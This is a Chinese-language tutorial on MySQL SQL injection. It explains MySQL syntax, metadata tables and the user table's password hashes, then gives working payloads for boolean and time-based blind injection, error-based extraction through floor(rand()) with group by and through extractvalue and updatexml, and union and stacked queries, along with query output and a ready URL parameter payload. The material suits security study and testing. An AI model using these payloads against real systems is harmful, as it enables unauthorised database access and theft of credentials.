MySQL 注入指北
接触 MySQL 注入的时间也很久了。刚开始接触的时候总是能见到各种各样的 payload,不但琐碎而且不成体系。我在不断收集的过程中发现实际上很多技巧都是根据语法来的。即如果知道基本语法,那么对注入的 payload 也就能了然于胸。
MySQL 语法
基础语法
我花了一点时间看了一下 MySQL 的语法,并绘制了一个导图:
这个图怎么看呢?首先,语法为从上到下。
简化之前的导图为 MySQL 所有的语法。其实在注入的过程中用不着这么详细,看看就好,有需要再查也不迟。简化的版本则为 MySQL 注入中常见的语法。
颜色表示:红色代表一定不能省略,橙色代表部分情况下能省略,灰色代表总是可以省略。红色与灰色好懂,橙色是个啥呢?拿 GROUP BY
为例,意思指的是,假如我们选了 GROUP BY
,那么一定要对 col_name
、expr
、position
进行三选一。根据从上到下的顺序,接下来是 ASC
、DESC
二选一,可选可不选。如果我们没使用 GROUP BY
,那么就不需要进行三选一,因为流程没到这里。总结起来就是,如果下一步中存在橙色的语法,就一定要用到。
细节
- group by:select + group by 的时候,是先 group by,再从 group by 里 select。所以 select 的列一定要在 group by 里存在。
- 语句执行成功返回值有2种情况,第一种本身返回数字的,就为数字,即:
select (select database());
的返回值为 1;否则,执行成功为 0,反之为 1。即:select (select database());
的返回值为 0
助攻数据库
系统自带的数据库能给我们提供很多的信息。
information_schema
information_schema
提供了访问数据库元数据的方式。什么是元数据
呢?就是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
有用的表如下:
- SCHEMATA:提供了当前 mysql 实例中所有数据库的信息。'show databases;
的结果就是从这个表的
SCHEMA_NAME` 字段来的。 - TABLES:详细记载了所有的表的名字,以及哪个表属于哪个 schema、表的类型、表的引擎、创建时间等等信息。
show tables
的结果就是从这个表的TABLE_NAME
字段来的。
mysql
mysql
数据库是 mysql 的核心数据库,,主要负责存储数据库的用户、权限设置、关键字等 mysql 自己需要使用的控制和管理信息。
有用的表如下:
- user:
user
表中记录了用户信息,包括用户可登陆的 ip(host 字段)、用户名(User 字段)、密码 hash(authentication_string 字段)、是否有读取文件的权限(file_priv 字段)等等。注意,对于 mysql5.7
以上的版本,密码的 hash 字段不再是Password
,而是authentication_string
。
助攻变量
MySQL 自带的变量的特征就是开头 @@
@@basedir
:MySQL 的安装路径@@datadir
: MySQL 的数据库文件,即数据文件路径@@version_compile_os
:操作系统@@version
:数据库版本
助攻函数
这些函数在注入的过程中能帮助我们不少忙。参数通常可以为 sql 语句(要加括号)
特殊函数
user()
:当前连接的数据库用户version()
:数据库版本
字符串相关函数
- mid:
- 截取字符串的一部分
mid(string, start[, length])
- string:字符串,
- start:起始位置,起始位置为 1
- length:截取长度
- substr:
- 截取字符串的一部分
substr(string, start, length)
- string:字符串
- start:起始位置,起始位置为 1
- length:截取长度
- substring:同
substr
以上函数的参数均可以用 from start for end
代替,如:
1
2
3
4
5
6
7mysql> select substring('abc' from 2 for 1); # 从 'abc' 的第二个字符开始截取,截取长度为 1
+-------------------------------+
| substring('abc' from 2 for 1) |
+-------------------------------+
| b |
+-------------------------------+
1 row in set (0.00 sec)
- hex:将数字/字符串转为
十六进制
。特别是字符串,防止有特殊字符导致出现各种奇怪的问题。 - unhex:将十六进制转为字符串。注意,结果会直接转为对应的 acii 码,例如
unhex(6D7973716C)
的结果是mysql
而不是470189044076
- length:
- 返回字符串长度
length(string)
- string:字符串
- left:
- 获取字符串左边数起指定个数的字符
left(string, n)
- string:要截取的字符串
- n:长度
- ord:
- 获取字符的 ASCII 码
ord(char)
- char:字符/字符串(如果是字符串,则取它的第一个字符)
- ascii:同
ord
- char:
- 将 ASCII 码转为字符
char(a[, ...])
- a:数字;后面可以加多个 ASCII 码,即构成字符串。
- regexp:
- 正则匹配,匹配到返回 1,反之为 0
string1 regexp string2
- string1:匹配的字符串
- string2:正则表达式
- concat:
- 连接(多个)字符串(数字),返回字符串。如果有任何一个参数为 null,则返回值为 null
concat(string[, ...])
- string:任意值
- concat_ws
- 和 concat 类似,将多个字符串连接成一个字符串,但是可以指定连接符。如果有任何一个参数为 null,对返回值无影响
concat_ws(sep, string[, ...])
- sep:连接符
- string:任意值
- group_concat
- 将 group by 产生的同一个分组中的值连接起来,成为一个字符串并返回
group_concat([distinct] colname [order by colname asc/desc ][separator sep])
- distinct:去重
- colname:列名
- sep:分隔符
延时函数
- sleep:
- 延迟
sleep(sec)
- sec:秒
- banchmark:
- 重复执行函数,较占用 cpu
banchmark(count, func)
- count:执行的次数
- func:函数
另外,利用 带外通道
发起网络请求,也有可能造成时延。不过 MySQL 的带外通道只能在 Windows 下利用 LOAD_FILE
完成。
数学函数
- log
- exp
...
聚合函数
- count
- sum
- ...
其他函数
- greatest:
- 返回 a, b 中最大的值
greatest(a, b)
- a、b:任意值
- rand:
- 返回 0~1 之间随机的浮点值
rand(a)
- a:可选参数;随机数种子;可为任意值
- load_file
- 读取文件内容
load_file(path)
- path:文件路径,一般转为 16 进制防止特殊字符出问题
- extractvalue
- 对 XML 文档进行查询
extractvalue(xmlfile,path)
- xmlfile:xml 文件
- path:xpath
- updatexml
- 更新 xml
updatexml(xmlfile,path, content)
- xmlfile:xml 文件
- path:xpath
- content:更新的内容
注入类型
到此为止,我们基本上复习了一下 MySQL 注入相关的知识,接下来看看有哪些类型的注入。
常规注入
注入后直接回显结果
盲注
类型
- 布尔
- 时间
- 其他(报错、响应代码等等)
盲注就是在 sql 注入过程中,数据无回显。此时,我们需要利用一些方法进行判断注入是否成功,这个方法称之为盲注。
盲注实际上是根据执行成功与失败的现象不同,导致攻击者能够获取到信息。最简单的是布尔型的,通过比较运算符来获得信息,比较结果要么是 True,要么是 False,两种返回的数据不同。那么如果不管是 True 还是 False,页面返回的都一样的话,就只能用基于时间的盲注,加入特定的时间函数,通过时间差来判断注入的语句是否正确。
从上面可以看出,只要注入成功与失败的返回数据不同,我们就可以获取到数据库的信息。至于返回的数据到底怎么个不同法,则有很多种可能。
利用方式
基于布尔
利用字符串相关的函数,逐个字符猜解需要的信息即可基于时间
- 利用
if
、case
等与时延函数搭配,逐个字符猜解需要的信息 - 利用字符串提前与定位将字符转为数字
1
2
3
4
5select * from users where user='' or sleep(locate(substr(user(), 1, 1), 'a'));
select * from users where user='' or sleep(locate(substr(user(), 1, 1), 'b'));
...
select * from users where user='' or sleep(locate(substr(user(), 1, 1), 'r'));
# 出现时延,代表第一个字符为 r
同理可以获取所有位数。此法无需 if 等条件语句。
同样还可以:
1
2
3
4
5select * from users where user='' or sleep(replace(substr(user(), 1, 1), 'a', 1));
select * from users where user='' or sleep(replace(substr(user(), 1, 1), 'b', 1));
...
select * from users where user='' or sleep(replace(substr(user(), 1, 1), 'r', 1));
# 出现时延,代表第一个字符为 r
判断长度也可以这样:
1
2
3
4
5select * from users where user='' or sleep(length(user())-1);
select * from users where user='' or sleep(length(user())-2);
...
select * from users where user='' or sleep(length(user())-14);
# 没有时延说明长度为 14
- 利用
报错注入
利用 MySQL 的一些特殊语法触发错误,错误中常常带着一些数据库信息,从而造成信息泄露,达到注入的目的。以下是几个常见的 payload:
floor + rand + count + group by 组合拳
先说 group by
。当 group by
与聚合函数(这里是 count)一起使用的时候,MySQL 会为查询结果建立一个虚拟的表。这个表你可以按照 Python 的里的字典理解:
1
2tmp_table = {
}
与字典类似,这个临时的表不能创建相同的键,出现了就报错;如果出现相同的值,则累加。举例:
假如查出了一个新的值 a,那么 MySQL 先找一下临时表中有没有这个 a 键,有的话更新对于的值;否则创建一个新的键。如果创建新的键的时候发现已经存在这个键了,则会报错。那么问题来了,创建键的之前明明有对键的存在进行判断,为什么创建的时候还会出现存在呢?因为判断的时候 MySQL 会进行一次查询,而创建的时候又会查一下,相当于重复查了 2 次。又因为 rand
函数每次运行的结果不同,便导致了判断与创建的键会不一致的情况。
当然,0~1 之间的随机浮点数结果太多了,需要限制一下来提高几率,这就是 floor(rand()*2)
的作用,将随机结果限制为2种,要么 0 要么 1。
举例说明,当 group by
+ floor(rand(0)*2)
的时候:
1
2
3
4
5
6
7
8
9
10
11mysql> select floor(rand(0)*2) from information_schema.tables limit 0, 5;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
+------------------+
5 rows in set (0.00 sec)
结果解释:
- 第一次查询,随机数为 0,
group by
拿到键 0,判断键 0 不在临时表后,尝试新建键,这时消耗了一个随机数 1,所以这个时候实际上新建的键的是 1。 - 第二次查询,随机数为 1,
group by
拿到键 1,判断键 1 在临时表后,更新键 1 对应的值。 - 第三次查询,随机数为 0,
group by
拿到键 0,判断键 0 不在临时表后,尝试新建键,这时消耗了一个随机数 1,所以这个时候实际上新建的键的是 1,但是键 1已经存在,所以 MySQL 报错:ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
验证如下:
1
2
3
4
5
6
7
8
9
10
11
12mysql> select * from users;
+------+----------+----------+
| id | user | password |
+------+----------+----------+
| 1 | admin | admin |
| 2 | root | password |
| 3 | username | 123456 |
+------+----------+----------+
3 rows in set (0.00 sec)
mysql> select count(*) from users group by (floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
实际上,group by 的次数与列数密切相关,也就是说,如果将 users
表改为 2列,则不会报错:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16mysql> select * from users;
+------+-------+----------+
| id | user | password |
+------+-------+----------+
| 1 | admin | admin |
| 2 | root | password |
+------+-------+----------+
2 rows in set (0.00 sec)
mysql> select count(*) from users group by (floor(rand(0)*2));
+----------+
| count(*) |
+----------+
| 2 |
+----------+
1 row in set (0.00 sec)
剩下的,就是怎么利用报错将需要的数据带出来。报错中的 1
实际上就是 floor(rand(0)*2)
的结果,所以只需要将数据与 floor(rand(0)*2)
连接起来就可以带出来了:
1
2mysql> select count(*) from users group by concat((floor(rand(0)*2)), "~",version());
ERROR 1062 (23000): Duplicate entry '1~5.7.24' for key '<group_key>'
实战示例:
1
?id=1 or 1 group by concat((floor(rand(0)*2)), "~", version()) -- #
version()
也可以为 ( select 语句 )
bigint
版本需要比较低才能用。
bigint 报错注入见:https://www.tr0y.wang/2018/06/18/MySQL的BIGINT报错注入/
xml
利用 xml 的 xpath 语法错误来报错。
extractvalue: extractvalue 在查不到数据的时候返回空,xpath 语法错误的时候则会报错:
1 |
|
updatexml:与 extractvalue 类似。
注意,这两种报错注入,能够提取的最长字符串为 32 个字符:
1
2
3
4mysql> select extractvalue('123', '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~');
ERROR 1105 (HY000): XPATH syntax error: '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'
mysql> select updatexml('123', '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~', '1');
ERROR 1105 (HY000): XPATH syntax error: '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'
实战示例:
1
2mysql> select * from users where id=1 and extractvalue('', concat('~', database(), '~'));
ERROR 1105 (HY000): XPATH syntax error: '~test~'
1 |
|
其他函数
上面这几个仅仅是比较常见的函数,实际上还有很多不常见的,见这篇博文:
联合注入
利用 union
来拼接 select 语句。主要是判断列数。
堆叠注入
MySQL 语句中的 ;
代表一个语句结束。如果 ;
之后的语句也能执行,那么就可以拼接任意语句,包括drop database
。
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制,当然了权限不足也是有可能的。
零碎的技巧记录
相关文章
MySQL 的 BIGINT 报错注入
来呀快活呀